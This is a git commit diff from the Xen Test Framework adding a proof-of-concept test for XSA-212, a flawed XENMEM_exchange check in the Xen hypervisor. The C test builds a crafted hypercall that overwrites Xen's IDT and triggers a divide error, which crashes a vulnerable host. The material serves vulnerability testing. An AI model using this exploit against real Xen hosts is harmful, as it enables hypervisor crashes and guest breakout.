]> xenbits.xensource.com Git - people/andrewcoop/xen-test-framework.git/commitdiff
XSA-212 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Fri, 17 Mar 2017 13:28:14 +0000 (13:28 +0000)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Mon, 8 May 2017 17:57:52 +0000 (18:57 +0100)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
include/xen/memory.h
tests/xsa-212/Makefile [new file with mode: 0644]
tests/xsa-212/main.c [new file with mode: 0644]

index 398ba2c56a4165cc993f124a48cc523c4c546831..aa3e988012102fb3ac6d8c59abfce7acc7fbaf04 100644 (file)
@@ -87,6 +87,9 @@ override.
 @subpage test-xsa-204 - x86: Mishandling of SYSCALL singlestep during
 emulation.
 
+@subpage test-xsa-212 - x86: broken check in memory_exchange() permits PV
+guest breakout.
+
 
 @section index-utility Utilities
 
index 2eeba946680011b105866f3bcb571da22ea89409..5e517ff94509e05bdf2d53667c4e4d482ad678b9 100644 (file)
@@ -17,6 +17,14 @@ struct xen_memory_reservation {
     domid_t domid;
 };
 
+#define XENMEM_exchange             11
+
+struct xen_memory_exchange {
+    struct xen_memory_reservation in;
+    struct xen_memory_reservation out;
+    unsigned long nr_exchanged;
+};
+
 #define XENMEM_maximum_gpfn         14
 
 #endif /* XEN_PUBLIC_MEMORY_H */
diff --git a/tests/xsa-212/Makefile b/tests/xsa-212/Makefile
new file mode 100644 (file)
index 0000000..218a80a
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-212
+CATEGORY  := xsa
+TEST-ENVS := pv64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-212/main.c b/tests/xsa-212/main.c
new file mode 100644 (file)
index 0000000..4b92cc9
--- /dev/null
@@ -0,0 +1,123 @@
+/**
+ * @file tests/xsa-212/main.c
+ * @ref test-xsa-212
+ *
+ * @page test-xsa-212 XSA-212
+ *
+ * Advisory: [XSA-212](http://xenbits.xen.org/xsa/advisory-212.html)
+ *
+ * The XENMEM_exchange hypercall previously had incomplete checks on the
+ * safety of the parameters passed.  XENMEM_exchange takes an input and output
+ * array of gfns, along with a count of how many requests have been completed
+ * thus far (in the case that continuation needs to occur).
+ *
+ * Xen only checked the base of the array, not the current access in the
+ * array, for safety.  This would have been safe had Xen worked all the way
+ * from 0, because hitting the non-canonical region would have aborted the
+ * hypercall midway through.  However, nothing stops a crafty guest from
+ * faking up a single-entry exchange which appears to be a very long way into
+ * a large array.
+ *
+ * Construct such an exchange, with the output array set up to clobber the
+ * first 8 bytes of the IDT.  If vulnerable, Xen will write junk over its @#DE
+ * handler; an exception which is trivial to trigger.  As @#DE is a
+ * contributory exception, it will escalate to @#DF and cause Xen to crash.
+ *
+ * @see tests/xsa-212/main.c
+ */
+#include <xtf.h>
+
+#include <arch/decode.h>
+#include <arch/exinfo.h>
+#include <arch/mm.h>
+
+const char test_title[] = "XSA-212 PoC";
+
+void test_main(void)
+{
+    unsigned int i;
+    desc_ptr idtr;
+
+    sidt(&idtr);
+
+    /* Exchange away PFN 0. */
+    unsigned long in_extents[] = { pfn_to_mfn(0) };
+    unsigned long pxt = _u(in_extents);
+    unsigned long exchanged_so_far = idtr.base / 8;
+
+    struct xen_memory_exchange mx =
+    {
+        .in = {
+            .extent_start = _p(pxt - idtr.base),
+            .nr_extents = exchanged_so_far + 1,
+            .extent_order = PAGE_ORDER_4K,
+            .mem_flags = 0,
+            .domid = DOMID_SELF,
+        },
+        .out = {
+            .extent_start = NULL,
+            .nr_extents = exchanged_so_far + 1,
+            .extent_order = PAGE_ORDER_4K,
+            .mem_flags = 32,
+            .domid = DOMID_SELF,
+        },
+        .nr_exchanged = exchanged_so_far,
+    };
+
+    /*
+     * This test can race with being rescheduled across pcpus.  Retry up to
+     * three times if XENMEM_exchange looks vulnerable, but Xen didn't crash
+     * when trying to handle the divide error.
+     */
+    for ( i = 0; i < 3; ++i )
+    {
+        int rc = hypercall_memory_op(XENMEM_exchange, &mx);
+
+        if ( rc == 0 )
+            xtf_failure("Fail: XENMEM_exchange returned success\n");
+        else
+            printk("XENMEM_exchange returned %d\n", rc);
+
+        printk("Probably %svulnerable to XSA-212\n", rc == 0 ? "" : "not ");
+
+        unsigned int hi = 0, low = 1;
+        exinfo_t fault = 0;
+
+        printk("Attempting to confirm...\n");
+
+        asm volatile ("1: div %%ecx; 2:"
+                      _ASM_EXTABLE_HANDLER(1b, 2b, ex_record_fault_edi)
+                      : "+&a" (low), "+&d" (hi), "+D" (fault)
+                      : "c" (0));
+
+        if ( fault == EXINFO_SYM(DE, 0) )
+        {
+            if ( rc == 0 )
+            {
+                printk("Apparent clobber, but got #DE.  Retrying...\n");
+                continue;
+            }
+            xtf_success("Success: Got #DE as expected\n");
+        }
+        else
+        {
+            char gotstr[16];
+
+            x86_decode_exinfo(gotstr, ARRAY_SIZE(gotstr), fault);
+
+            xtf_error("Error: Got unexpected fault %s\n", gotstr);
+        }
+
+        break;
+    }
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */